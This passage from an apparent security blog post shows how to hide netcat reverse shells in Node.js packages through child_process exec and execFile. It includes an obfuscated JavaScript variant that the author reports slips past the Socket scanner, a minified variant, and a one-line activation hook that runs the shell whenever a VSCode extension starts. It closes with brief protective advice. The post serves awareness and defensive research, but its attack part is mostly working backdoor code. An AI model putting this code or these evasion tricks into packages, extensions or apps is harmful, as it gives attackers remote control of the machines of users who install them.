&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;code&gt;execFile&lt;/code&gt; executes a file, for example &lt;code&gt;script.sh&lt;/code&gt;:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;execFile&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;child_process&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nf"&gt;execFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;bash&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;script.sh&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{})&lt;/span&gt;

&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;This shell script would contain the netcat command:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
nc 10.10.10.10 80 | /bin/sh | nc 10.10.10.10 53 | &lt;span class="nb"&gt;disown&lt;/span&gt; | &lt;span class="nb"&gt;exit &lt;/span&gt;0&lt;span class="p"&gt;;&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;It can either be added as a file in the repository or fetched from another source, to avoid attracting attention.&lt;/p&gt;

&lt;p&gt;As soon as the reverse shell is set up, an attacker can steal, delete or encrypt files, install tools, and much more.&lt;/p&gt;

&lt;p&gt;The solutions shown above are picked up by security tools such as &lt;a href="https://socket.dev/" rel="noopener noreferrer"&gt;Socket&lt;/a&gt;, that flags the use of potentially insecure code such as &lt;code&gt;exec&lt;/code&gt; and &lt;code&gt;execFile&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcharliegerard.dev%2Fsocket-dev-exec.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcharliegerard.dev%2Fsocket-dev-exec.png" alt="Screenshot of the Socket UI showing a warning that the module accesses the system shell."&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So, what are ways to hide more efficiently this kind of attack?&lt;/p&gt;

&lt;h2&gt;
  
  
  Ways to hide a reverse shell
&lt;/h2&gt;

&lt;p&gt;There's a few ways I could think about doing this, some of them involve technical solutions, and others involve thinking more about the context in which people use Node.js modules.&lt;/p&gt;

&lt;h3&gt;
  
  
  File obfuscation (and minification?)
&lt;/h3&gt;

&lt;p&gt;Security tools are getting better at flagging potential insecure code in Node.js modules, however, once obfuscated, it becomes a lot harder to know if a piece of code contains vulnerabilities.&lt;/p&gt;

&lt;p&gt;As an example. here's what the obfuscated JavaScript of the &lt;code&gt;exec&lt;/code&gt; implementation looks like:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;_0x3994&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_0x565d93&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;_0x46b188&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;_0x1edb91&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;_0x1edb&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;_0x3994&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_0x39942b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;_0x46c9b8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;_0x39942b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;_0x39942b&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mh"&gt;0x7f&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;_0x45df05&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;_0x1edb91&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;_0x39942b&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;_0x45df05&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="nf"&gt;_0x3994&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_0x565d93&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;_0x46b188&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;_0x14c021&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;_0x3994&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;_0x1edb&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;_0x315a4c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;3456290MInyns&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;144422gpQMch&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;582536EjKPYz&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;nc&lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s1"&gt;x20192.168.4.32&lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s1"&gt;x2080&lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s1"&gt;x20|&lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s1"&gt;x20/bin/sh&lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s1"&gt;x20|&lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s1"&gt;x20nc&lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s1"&gt;x20192.168.4.32&lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s1"&gt;x2053&lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s1"&gt;x20|&lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s1"&gt;x20disown&lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s1"&gt;x20|&lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s1"&gt;x20exit&lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s1"&gt;x200;&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;child_process&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;4931696ptslNj&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;892792JPSbno&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;1315ymqHPE&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;exit&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;18xLEENc&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;847KPUPMs&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;6036cCpfRb&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;17700Neccgv&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;3QTYiZY&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="nx"&gt;_0x1edb&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;_0x315a4c&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;_0x1edb&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_0x9e95f2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;_0x2951fb&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;_0x37d8ea&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;_0x3994&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;_0x2bcaca&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;_0x9e95f2&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!!&lt;/span&gt;&lt;span class="p"&gt;[])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;_0x55a257&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;parseInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;_0x37d8ea&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x86&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mh"&gt;0x1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;parseInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;_0x37d8ea&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x8b&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mh"&gt;0x2&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nf"&gt;parseInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;_0x37d8ea&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x84&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mh"&gt;0x3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nf"&gt;parseInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;_0x37d8ea&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x82&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mh"&gt;0x4&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nf"&gt;parseInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;_0x37d8ea&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x8c&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mh"&gt;0x5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nf"&gt;parseInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;_0x37d8ea&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x83&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mh"&gt;0x6&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nf"&gt;parseInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;_0x37d8ea&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x81&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mh"&gt;0x7&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;parseInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;_0x37d8ea&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x87&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mh"&gt;0x8&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nf"&gt;parseInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;_0x37d8ea&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x80&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mh"&gt;0x9&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nf"&gt;parseInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;_0x37d8ea&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x85&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mh"&gt;0xa&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;parseInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;_0x37d8ea&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x8a&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mh"&gt;0xb&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_0x55a257&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;_0x2951fb&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="nx"&gt;_0x2bcaca&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;push&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;](&lt;/span&gt;&lt;span class="nx"&gt;_0x2bcaca&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;shift&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]());&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_0x151b06&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;_0x2bcaca&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;push&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;](&lt;/span&gt;&lt;span class="nx"&gt;_0x2bcaca&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;shift&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]());&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;}(&lt;/span&gt;&lt;span class="nx"&gt;_0x1edb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x63d54&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;exec&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;_0x14c021&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x89&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt; &lt;span class="nf"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;_0x14c021&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x88&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nf"&gt;_0x14c021&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x7f&lt;/span&gt;&lt;span class="p"&gt;)](&lt;/span&gt;&lt;span class="mh"&gt;0x0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;This code still works but isn't flagged anymore. You could imagine that a package author could hide this code in a minified version of their package and advise people to use that one for improved performance.&lt;/p&gt;

&lt;p&gt;I also tested this by minifying the original code, which is still humanly-readable. Here's the result:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;

&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="na"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nx"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;child_process&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="nf"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;nc 10.10.10.10 80 | /bin/sh | nc 10.10.10.10 53 | disown | exit 0;&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;By default, if the file "index.min.js" is not specified as the exported file in the "main" field of the package.json, Socket does not flag any issue. However, once changed to "index.min.js", the security issues are shown in the UI.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcharliegerard.dev%2Fsocket-reverse-shell-min.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcharliegerard.dev%2Fsocket-reverse-shell-min.png" alt="Screenshot of the Socket UI showing a warning that the minidifed code of the module accesses the system shell."&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  VSCode extension
&lt;/h3&gt;

&lt;p&gt;Even though VSCode extensions are NPM packages, the way users install them is via the VSCode editor, so it is likely that people use the ease of a one-click install without checking the extension's code first. Extensions may go through a security check before being publicly available, however &lt;a href="https://thehackernews.com/2021/05/newly-discovered-bugs-in-vscode.html" rel="noopener noreferrer"&gt;some attacks have been run via extensions&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;When creating an extension, you can specify when you'd like the code to run, including &lt;strong&gt;anytime the editor is launched&lt;/strong&gt;. To do so, you can specify the value &lt;code&gt;*&lt;/code&gt; or &lt;code&gt;onStartupFinished&lt;/code&gt; as &lt;code&gt;activationEvents&lt;/code&gt;. This would call the &lt;code&gt;activate&lt;/code&gt; function that can be modified to run the reverse shell by adding a single line of code: &lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;

&lt;span class="nf"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;nc 192.168.4.29 81 | /bin/sh | nc 192.168.4.29 53 | disown | exit 0;&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;To try this out, I created a small "Hello World" extension following the &lt;a href="https://code.visualstudio.com/api/get-started/your-first-extension" rel="noopener noreferrer"&gt;official documentation&lt;/a&gt;. I added the line shown above in the &lt;code&gt;activate&lt;/code&gt; function, ran the extension in the Extension Development Host window and activated it. Below is the result showing how I gained access to my personal laptop from my RaspberryPi.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcharliegerard.dev%2Freverse-shell-vscode.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcharliegerard.dev%2Freverse-shell-vscode.gif"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I am not sure what kind of security process extensions go through before being publicly available but it is also possible for developers to make their extensions available via GitHub instead of the VSCode Marketplace. This way, even if this extension was rejected for security reasons, an attacker might still try to make it available by instructing users to install it manually.&lt;/p&gt;

&lt;h3&gt;
  
  
  Electron app
&lt;/h3&gt;

&lt;p&gt;Electron applications are also written in Node.js and can be installed without checking the source code first.&lt;br&gt;
Looking at this &lt;a href="https://www.electronjs.org/apps" rel="noopener noreferrer"&gt;list of Electron apps&lt;/a&gt;, it is easy to imagine how one could create a small productivity app with a hidden reverse shell.&lt;/p&gt;

&lt;h2&gt;
  
  
  How can people protect themselves?
&lt;/h2&gt;

&lt;p&gt;One of the interesting aspects of experimenting with this, is to think about ways people can protect themselves from these types of attacks.&lt;/p&gt;

&lt;p&gt;So far, here are a few options I can think of:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Use one of the many security tools available and pay attention to their warnings.&lt;/li&gt;
&lt;li&gt;Check the source code of open-source tools before installing and using them.&lt;/li&gt;
&lt;li&gt;Run your projects in a virtual machine or online sandbox such as &lt;a href="https://codesandbox.io/" rel="noopener noreferrer"&gt;CodeSandbox&lt;/a&gt;, &lt;a href="https://stackblitz.com/" rel="noopener noreferrer"&gt;StackBlitz&lt;/a&gt;, &lt;a href="https://github.com/features/codespaces" rel="noopener noreferrer"&gt;Github CodeSpaces&lt;/a&gt;
&lt;/li&gt;
